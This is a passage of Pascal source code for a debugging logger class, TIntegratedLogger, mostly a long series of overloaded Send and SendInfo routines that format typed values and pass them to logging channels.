TIntegratedLogger.SetMaxStackCount(const AValue: Integer); begin if AValue < 256 then FiMaxStackCount := AValue else FiMaxStackCount := 256; end; procedure TIntegratedLogger.SetThreadSafe; begin if IsMultiThread and not Assigned(goGuardian) then goGuardian:= TGuardian.Create else if (not IsMultiThread) and Assigned(goGuardian) then FreeAndNil(goGuardian); end; constructor TIntegratedLogger.Create; begin SetThreadSafe; FoChannels := TChannelList.Create; FiMaxStackCount := 20; FoLogStack := TStringList.Create; FoCheckList := TStringList.Create; with FoCheckList do begin CaseSensitive := False; Sorted := True; //Faster IndexOf? end; FoCounterList := TStringList.Create; with FoCounterList do begin CaseSensitive := False; Sorted := True; //Faster IndexOf? end; FsetFilterDynamic_forWhatReasonsToLogActually:= lwNone; //categor{y|ies} of What is logged; by default, the logging and log nothing; end; destructor TIntegratedLogger.Destroy; begin FoChannels.Destroy; FoLogStack.Destroy; FoCheckList.Destroy; FoCounterList.Destroy; if Assigned(goGuardian) then FreeAndNil(goGuardian); end; function TIntegratedLogger.CalledBy(const AMethodName: String): Boolean; begin Result:= FoLogStack.IndexOf(UpperCase(AMethodName)) <> -1; end; procedure ClearChannels(o_Channels: TChannelList); var i: Integer; o_Channel: TLogChannel; begin for i := 0 to o_Channels.Count - 1 do begin o_Channel := o_Channels[i]; if o_Channel.Active then o_Channel.Clear; end; end; procedure TIntegratedLogger.Clear; begin if FoDefaultChannels <> nil then ClearChannels(FoDefaultChannels); ClearChannels(Channels); end; function TIntegratedLogger.RectToStr(const ARect: TRect): String; begin with ARect do Result:= Format('(Left: %d; Top: %d; Right: %d; Bottom: %d)',[Left,Top,Right,Bottom]); end; function TIntegratedLogger.PointToStr(const APoint: TPoint): String; begin with APoint do Result:= Format('(X: %d; Y: %d)',[X,Y]); end; procedure TIntegratedLogger.Send(const AText: String); begin Send(FsetFilterDynamic_forWhatReasonsToLogActually,AText); end; procedure TIntegratedLogger.Send(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methSend,AText,nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.Send(const AText: String; Args: array of const); begin Send(FsetFilterDynamic_forWhatReasonsToLogActually,AText,Args); end; procedure TIntegratedLogger.Send(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; Args: array of const); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methSend, Format(AText,Args),nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.Send(const AText, AValue: String); begin SendInfo(FsetFilterDynamic_forWhatReasonsToLogActually,AText,AValue); end; procedure TIntegratedLogger.Send(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText, AValue: String); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methValue,AText+' = '+AValue,nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.Send(const AText: String; AValue: Integer); begin SendInfo(FsetFilterDynamic_forWhatReasonsToLogActually,AText,AValue); end; procedure TIntegratedLogger.Send(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: Integer); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methValue,AText+' = '+IntToStr(AValue),nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.Send(const AText: String; AValue: Cardinal); begin SendInfo(FsetFilterDynamic_forWhatReasonsToLogActually,AText,AValue); end; procedure TIntegratedLogger.Send(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: Cardinal); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methValue,AText+' = '+IntToStr(AValue),nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.Send(const AText: String; AValue: Double); begin SendInfo(FsetFilterDynamic_forWhatReasonsToLogActually,AText,AValue); end; procedure TIntegratedLogger.Send(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: Double); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methValue,AText+' = '+FloatToStr(AValue),nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.Send(const AText: String; AValue: Int64); begin SendInfo(FsetFilterDynamic_forWhatReasonsToLogActually,AText,AValue); end; procedure TIntegratedLogger.Send(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: Int64); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methValue,AText+' = '+IntToStr(AValue),nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.Send(const AText: String; AValue: QWord); begin SendInfo(FsetFilterDynamic_forWhatReasonsToLogActually,AText,AValue); end; procedure TIntegratedLogger.Send(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: QWord); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methValue,AText+' = '+IntToStr(AValue),nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.Send(const AText: String; AValue: Boolean); begin SendInfo(FsetFilterDynamic_forWhatReasonsToLogActually, AText, AValue); end; procedure TIntegratedLogger.Send(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: Boolean); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methValue, AText + ' = ' + BoolToStr(AValue, True), nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.Send(const AText: String; const ARect: TRect); begin SendInfo(FsetFilterDynamic_forWhatReasonsToLogActually,AText,ARect); end; procedure TIntegratedLogger.Send(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; const ARect: TRect); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methValue,AText+ ' = '+RectToStr(ARect),nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.Send(const AText: String; const APoint: TPoint); begin Send(FsetFilterDynamic_forWhatReasonsToLogActually,AText,APoint); end; procedure TIntegratedLogger.Send(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; const APoint: TPoint); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methValue,AText+' = '+PointToStr(APoint),nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.Send(const AText: String; AStrList: TStrings); begin SendInfo(FsetFilterDynamic_forWhatReasonsToLogActually,AText,AStrList); end; procedure TIntegratedLogger.Send(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; o_AStrList: TStrings); var sStr: string; setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions if Assigned(o_AStrList) then if o_AStrList.Count>0 then sStr:= o_AStrList.Text else sStr:= ' ' { fake o_AStrList.Text } else sStr:= ' '; { fake o_AStrList.Text } SendBuffer(methTStrings, AText, sStr[1], Length(sStr)); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.Send(const AText: String; AObject: TObject); begin SendInfo(FsetFilterDynamic_forWhatReasonsToLogActually,AText,AObject); end; procedure TIntegratedLogger.Send(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AObject: TObject); var sTempStr: String; oStream: TStream; setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions try oStream := nil; sTempStr := AText + ' ['; if AObject <> nil then begin if AObject is TComponent then begin oStream := TMemoryStream.Create; oStream.WriteComponent(TComponent(AObject)); end else sTempStr := sTempStr + GetObjectDescription(AObject) + ' / '; end; sTempStr := sTempStr + ('$' + HexStr(AObject) + ']'); SendStream(methObject, sTempStr, oStream); finally oStream.Free; FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; end; procedure TIntegratedLogger.SendInfo(const AText: String); begin SendInfo(FsetFilterDynamic_forWhatReasonsToLogActually + [lwInfo], AText); end; procedure TIntegratedLogger.SendInfo(const AText: String; Args: array of const); begin SendInfo(FsetFilterDynamic_forWhatReasonsToLogActually + [lwInfo], AText, Args); end; procedure TIntegratedLogger.SendInfo(const AText, AValue: String); begin SendInfo(FsetFilterDynamic_forWhatReasonsToLogActually + [lwInfo], AText, AValue); end; procedure TIntegratedLogger.SendInfo(const AText: String; AValue: Integer); begin SendInfo(FsetFilterDynamic_forWhatReasonsToLogActually + [lwInfo], AText, AValue); end; {$ifdef fpc} procedure TIntegratedLogger.SendInfo(const AText: String; AValue: Cardinal); begin SendInfo(FsetFilterDynamic_forWhatReasonsToLogActually + [lwInfo], AText, AValue); end; {$endif} procedure TIntegratedLogger.SendInfo(const AText: String; AValue: Double); begin SendInfo(FsetFilterDynamic_forWhatReasonsToLogActually + [lwInfo], AText, AValue); end; procedure TIntegratedLogger.SendInfo(const AText: String; AValue: Int64); begin SendInfo(FsetFilterDynamic_forWhatReasonsToLogActually + [lwInfo], AText, AValue); end; procedure TIntegratedLogger.SendInfo(const AText: String; AValue: QWord); begin SendInfo(FsetFilterDynamic_forWhatReasonsToLogActually + [lwInfo], AText, AValue); end; procedure TIntegratedLogger.SendInfo(const AText: String; AValue: Boolean); begin SendInfo(FsetFilterDynamic_forWhatReasonsToLogActually + [lwInfo], AText, AValue); end; procedure TIntegratedLogger.SendInfo(const AText: String; const ARect: TRect); begin SendInfo(FsetFilterDynamic_forWhatReasonsToLogActually + [lwInfo], AText, ARect); end; procedure TIntegratedLogger.SendInfo(const AText: String; const APoint: TPoint); begin SendInfo(FsetFilterDynamic_forWhatReasonsToLogActually + [lwInfo], AText, APoint); end; procedure TIntegratedLogger.SendInfo(const AText: String; AStrList: TStrings); begin SendInfo(FsetFilterDynamic_forWhatReasonsToLogActually + [lwInfo], AText, AStrList); end; procedure TIntegratedLogger.SendInfo(const AText: String; AObject: TObject); begin SendInfo(FsetFilterDynamic_forWhatReasonsToLogActually + [lwInfo], AText, AObject); end; procedure TIntegratedLogger.SendPointer(const AText: String; APointer: Pointer); begin SendPointer(FsetFilterDynamic_forWhatReasonsToLogActually,AText,APointer); end; procedure TIntegratedLogger.SendCallStack(const AText: String); begin SendCallStack(FsetFilterDynamic_forWhatReasonsToLogActually,AText); end; procedure TIntegratedLogger.SendException(const AText: String; AException: Exception); begin SendException(FsetFilterDynamic_forWhatReasonsToLogActually + [lwError], AText, AException); end; procedure TIntegratedLogger.SendHeapInfo(const AText: String); begin SendHeapInfo(FsetFilterDynamic_forWhatReasonsToLogActually,AText); end; procedure TIntegratedLogger.SendMemory(const AText: String; Address: Pointer; Size: LongWord; Offset: Integer); begin SendMemory(FsetFilterDynamic_forWhatReasonsToLogActually,AText,Address,Size,Offset) end; procedure TIntegratedLogger.SendIf(const AText: String; Expression: Boolean); begin SendIf(FsetFilterDynamic_forWhatReasonsToLogActually,AText,Expression,True); end; procedure TIntegratedLogger.SendIf(Classes: TGroupOfForWhatReasonsToLogActually; const AText: String; Expression: Boolean); begin SendIf(Classes,AText,Expression,True); end; procedure TIntegratedLogger.SendIf(const AText: String; Expression, IsTrue: Boolean); begin SendIf(FsetFilterDynamic_forWhatReasonsToLogActually,AText,Expression,IsTrue); end; procedure TIntegratedLogger.SendWarning(const AText: String); begin SendWarning(FsetFilterDynamic_forWhatReasonsToLogActually + [lwWarning], AText); end; procedure TIntegratedLogger.SendError(const AText: String); begin SendError(FsetFilterDynamic_forWhatReasonsToLogActually + [lwError], AText); end; procedure TIntegratedLogger.SendCustomData(const AText: String; Data: Pointer); begin SendCustomData(FsetFilterDynamic_forWhatReasonsToLogActually,AText,Data,FOnCustomData); end; procedure TIntegratedLogger.SendCustomData(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; Data: Pointer); begin SendCustomData(aSetOfFilterDynamicOverloadOneShot,AText,Data,FOnCustomData); end; procedure TIntegratedLogger.SendCustomData(const AText: String; Data: Pointer; CustomDataFunction: TCustomDataNotify); begin SendCustomData(FsetFilterDynamic_forWhatReasonsToLogActually,AText,Data,CustomDataFunction); end; procedure TIntegratedLogger.SendCustomData(const AText: String; Data: Pointer; CustomDataFunction: TCustomDataNotifyStatic); begin SendCustomData(FsetFilterDynamic_forWhatReasonsToLogActually,AText,Data,CustomDataFunction); end; procedure TIntegratedLogger.AddCheckPoint; begin AddCheckPoint(FsetFilterDynamic_forWhatReasonsToLogActually,DefaultCheckName); end; procedure TIntegratedLogger.AddCheckPoint(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually); begin AddCheckPoint(aSetOfFilterDynamicOverloadOneShot,DefaultCheckName); end; procedure TIntegratedLogger.AddCheckPoint(const sCheckName: String); begin AddCheckPoint(FsetFilterDynamic_forWhatReasonsToLogActually,sCheckName); end; procedure TIntegratedLogger.ResetCheckPoint; begin ResetCheckPoint(FsetFilterDynamic_forWhatReasonsToLogActually,DefaultCheckName); end; procedure TIntegratedLogger.ResetCheckPoint(Classes: TGroupOfForWhatReasonsToLogActually); begin ResetCheckPoint(Classes,DefaultCheckName); end; procedure TIntegratedLogger.ResetCheckPoint(const sCheckName: String); begin ResetCheckPoint(FsetFilterDynamic_forWhatReasonsToLogActually,sCheckName); end; procedure TIntegratedLogger.IncCounter(const sCounterName: String); begin IncCounter(FsetFilterDynamic_forWhatReasonsToLogActually,sCounterName); end; procedure TIntegratedLogger.DecCounter(const sCounterName: String); begin DecCounter(FsetFilterDynamic_forWhatReasonsToLogActually,sCounterName); end; procedure TIntegratedLogger.ResetCounter(const sCounterName: String); begin ResetCounter(FsetFilterDynamic_forWhatReasonsToLogActually,sCounterName); end; procedure TIntegratedLogger.EnterMethod(const AMethodName: String; const AMessage: String); begin EnterMethod(FsetFilterDynamic_forWhatReasonsToLogActually + [lwStudyChainedEvents, lwEvents],nil,AMethodName,AMessage); end; procedure TIntegratedLogger.EnterMethod(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AMethodName: String; const AMessage: String); begin EnterMethod(aSetOfFilterDynamicOverloadOneShot + [lwStudyChainedEvents, lwEvents],nil,AMethodName,AMessage); end; procedure TIntegratedLogger.EnterMethod(Sender: TObject; const AMethodName: String; const AMessage: String); begin EnterMethod(FsetFilterDynamic_forWhatReasonsToLogActually + [lwStudyChainedEvents, lwEvents],Sender,AMethodName,AMessage); end; procedure TIntegratedLogger.ExitMethod(const AMethodName: String; const AMessage: String); begin ExitMethod(FsetFilterDynamic_forWhatReasonsToLogActually + [lwStudyChainedEvents, lwEvents],nil,AMethodName,AMessage); end; procedure TIntegratedLogger.ExitMethod(Sender: TObject; const AMethodName: String; const AMessage: String); begin ExitMethod(FsetFilterDynamic_forWhatReasonsToLogActually + [lwStudyChainedEvents, lwEvents],Sender,AMethodName,AMessage); end; procedure TIntegratedLogger.ExitMethod(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AMethodName: String; const AMessage: String); begin ExitMethod(aSetOfFilterDynamicOverloadOneShot + [lwStudyChainedEvents, lwEvents],nil,AMethodName,AMessage); end; procedure TIntegratedLogger.Watch(const AText, AValue: String); begin Watch(FsetFilterDynamic_forWhatReasonsToLogActually,AText,AValue); end; procedure TIntegratedLogger.Watch(const AText: String; AValue: Integer); begin Watch(FsetFilterDynamic_forWhatReasonsToLogActually,AText,AValue); end; {$ifdef fpc} procedure TIntegratedLogger.Watch(const AText: String; AValue: Cardinal); begin Watch(FsetFilterDynamic_forWhatReasonsToLogActually,AText,AValue); end; {$endif} procedure TIntegratedLogger.Watch(const AText: String; AValue: Double); begin Watch(FsetFilterDynamic_forWhatReasonsToLogActually,AText,AValue); end; procedure TIntegratedLogger.Watch(const AText: String; AValue: Boolean); begin Watch(FsetFilterDynamic_forWhatReasonsToLogActually,AText,AValue); end; procedure TIntegratedLogger.SubEventBetweenEnterAndExitMethods(const AText: String); begin SubEventBetweenEnterAndExitMethods(FsetFilterDynamic_forWhatReasonsToLogActually + [lwStudyChainedEvents], AText); end; (* -- filtred method through intersection of Classes's set and ActivesClasses's set -- *) procedure TIntegratedLogger.SendInfo(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + [lwInfo] + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methInfo,AText,nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.SendInfo(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; Args: array of const); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + [lwInfo] + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methInfo, Format(AText,Args),nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.SendInfo(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText, AValue: String); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + [lwInfo] + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methValue,AText+' = '+AValue,nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.SendInfo(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: Integer); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + [lwInfo] + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methValue,AText+' = '+IntToStr(AValue),nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; {$ifdef fpc} procedure TIntegratedLogger.SendInfo(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: Cardinal); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + [lwInfo] + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methValue,AText+' = '+IntToStr(AValue),nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; {$endif} procedure TIntegratedLogger.SendInfo(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: Double); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + [lwInfo] + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methValue,AText+' = '+FloatToStr(AValue),nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.SendInfo(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: Int64); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + [lwInfo] + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methValue,AText+' = '+IntToStr(AValue),nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.SendInfo(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: QWord); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + [lwInfo] + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methValue,AText+' = '+IntToStr(AValue),nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.SendInfo(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AValue: Boolean); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + [lwInfo] + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methValue, AText + ' = ' + BoolToStr(AValue, True), nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.SendInfo(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String;const ARect: TRect); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + [lwInfo] + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methValue,AText+ ' = '+RectToStr(ARect),nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.SendInfo(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; const APoint: TPoint); var setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + [lwInfo] + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions SendStream(methValue,AText+' = '+PointToStr(APoint),nil); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.SendInfo(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; o_AStrList: TStrings); var sStr: string; setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + [lwInfo] + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions if Assigned(o_AStrList) then if o_AStrList.Count>0 then sStr:= o_AStrList.Text else sStr:= ' ' { fake o_AStrList.Text } else sStr:= ' '; { fake o_AStrList.Text } SendBuffer(methTStrings, AText, sStr[1], Length(sStr)); FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; procedure TIntegratedLogger.SendInfo(aSetOfFilterDynamicOverloadOneShot: TGroupOfForWhatReasonsToLogActually; const AText: String; AObject: TObject); var sTempStr: String; oStream: TStream; setOldFilterDynamic: TGroupOfForWhatReasonsToLogActually; begin setOldFilterDynamic:= FsetFilterDynamic_forWhatReasonsToLogActually; FsetFilterDynamic_forWhatReasonsToLogActually:= FsetFilterDynamic_forWhatReasonsToLogActually + [lwInfo] + aSetOfFilterDynamicOverloadOneShot; if FsetFilterDynamic_forWhatReasonsToLogActually = [] then Exit; //pre-conditions try oStream := nil; sTempStr := AText + ' ['; if AObject <> nil then begin if AObject is TComponent then begin oStream := TMemoryStream.Create; oStream.WriteComponent(TComponent(AObject)); end else sTempStr := sTempStr + GetObjectDescription(AObject) + ' / '; end; sTempStr := sTempStr + ('$' + HexStr(AObject) + ']'); SendStream(methObject, sTempStr, oStream); finally oStream.Free; FsetFilterDynamic_forWhatReasonsToLogActually:= setOldFilterDynamic; end; end; procedure 